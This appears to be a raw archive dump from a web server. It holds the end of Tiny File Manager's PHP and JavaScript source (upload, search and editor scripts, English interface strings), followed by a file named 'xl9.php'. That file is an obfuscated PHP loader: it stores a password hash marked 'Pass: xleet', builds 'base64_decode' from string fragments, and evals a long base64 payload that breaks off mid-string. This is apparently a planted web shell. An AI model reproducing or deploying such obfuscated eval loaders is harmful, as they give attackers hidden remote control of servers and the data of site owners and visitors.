beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); }, success: function (data) { if(data) { data = JSON.parse(data); if(data.done) { resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val(''); } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); } form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me'); } }, error: function(xhr) { form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr); } }); return false; } // Search template function search_template(data) { var response = ""; $.each(data, function (key, val) { response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`; }); return response; } // Advance search function fm_search() { var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook"); if(!!searchTxt && searchTxt.length > 2 && path) { var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf }; $.ajax({ type: "POST", url: window.location, data: data, beforeSend: function() { searchWrapper.html(''); $loader.addClass('show-me'); }, success: function(data){ $loader.removeClass('show-me'); data = JSON.parse(data); if(data && data.length) { _html = search_template(data); searchWrapper.html(_html); } else { searchWrapper.html('<p class="m-2">No result found!<p>'); } }, error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); }, failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');} }); } else { searchWrapper.html("OOPS: minimum 3 characters required!"); } } // action confirm dailog modal function confirmDailog(e, id = 0, title = "Action", content = "", action = null) { e.preventDefault(); const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action}; let tpl = $("#js-tpl-confirm").html(); $(".modal.confirmDailog").remove(); $('#wrapper').append(template(tpl,tplObj)); const $confirmDailog = $("#confirmDailog-"+tplObj.id); $confirmDailog.modal('show'); return false; } // on mouse hover image preview !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery); // Dom Ready Events $(document).ready( function () { // dataTable init var $table = $('#main-table'), tableLng = $table.find('th').length, _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3]; mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}] }); // filter table $('#search-addon').on( 'keyup', function () { mainTable.search( this.value ).draw(); }); $("input#advanced-search").on('keyup', function (e) { if (e.keyCode === 13) { fm_search(); } }); $('#search-addon3').on( 'click', function () { fm_search(); }); //upload nav tabs $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){ e.preventDefault();let target=$(this).data('target'); $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active'); $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden'); }); }); </script> <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY): $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION); $ext = $ext == "js" ? "javascript" : $ext; ?> <?php print_external('js-ace'); ?> <script> var editor = ace.edit("editor"); editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} ); //editor.setTheme("ace/theme/twilight"); //Dark Theme editor.setShowPrintMargin(false); // Hide the vertical ruler function ace_commend (cmd) { editor.commands.exec(cmd, editor); } editor.commands.addCommands([{ name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'}, exec: function(editor) { edit_save(this, 'ace'); } }]); function renderThemeMode() { var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; }, _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}}; if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); } if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");} if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); } $modeEl.val( editor.getSession().$modeId ); $themeEl.val( editor.getTheme() ); $(function() { $fontSizeEl.val(12).change(); }); //set default font size in drop down } $(function(){ renderThemeMode(); $(".js-ace-toolbar").on("click", 'button', function(e){ e.preventDefault(); let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option"); if(cmdValue && cmdValue != "none") { ace_commend(cmdValue); } else if(editorOption) { if(editorOption == "fullscreen") { (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen) &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen()); } else if(editorOption == "wrap") { let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true; editor.getSession().setUseWrapMode(wrapStatus); } } }); $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){ e.preventDefault(); let selectedValue = $(this).val(), selectionType = $(this).attr("data-type"); if(selectedValue && selectionType == "mode") { editor.getSession().setMode(selectedValue); } else if(selectedValue && selectionType == "theme") { editor.setTheme(selectedValue); }else if(selectedValue && selectionType == "fontSize") { editor.setFontSize(parseInt(selectedValue)); } }); }); </script> <?php endif; ?> <div id="snackbar"></div> </body> </html> <?php } /** * Language Translation System * @param string $txt * @return string */ function lng($txt) { global $lang; // English Language $tr['en']['AppName'] = 'Tiny File Manager'; $tr['en']['AppTitle'] = 'File Manager'; $tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username'; $tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out'; $tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy'; $tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all'; $tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File'; $tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size'; $tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified'; $tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search'; $tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder'; $tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename'; $tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link'; $tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions'; $tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item'; $tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor'; $tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel'; $tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder'; $tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name'; $tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download'; $tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip'; $tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit'; $tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up'; $tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files'; $tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change'; $tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language'; $tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'; $tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created'; $tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue'; $tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size'; $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in'; $tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal'; $tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked'; $tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created'; $tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed'; $tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully'; $tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully'; $tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed'; $tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined'; $tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from'; $tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'; $tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed'; $tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from'; $tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items'; $tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'; $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'; $tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from'; $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'; $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'; $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'; $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'; $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'; $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'; $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'; $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'; $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'; $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'; $tr['en']['Are you sure want to rename?'] = 'Are you sure want to rename?'; $tr['en']['Are you sure want to'] = 'Are you sure want to'; $i18n = fm_get_translations($tr); $tr = $i18n ? $i18n : $tr; if (!strlen($lang)) $lang = 'en'; if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]); else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]); else return "$txt"; } ?> xl9.php000064400000215435151514460360006010 0ustar00<?php $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //Pass: xleet $o= "ba"."se"."\x36\x34\x5F"."de"."c"."ode"; eval($o("CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqT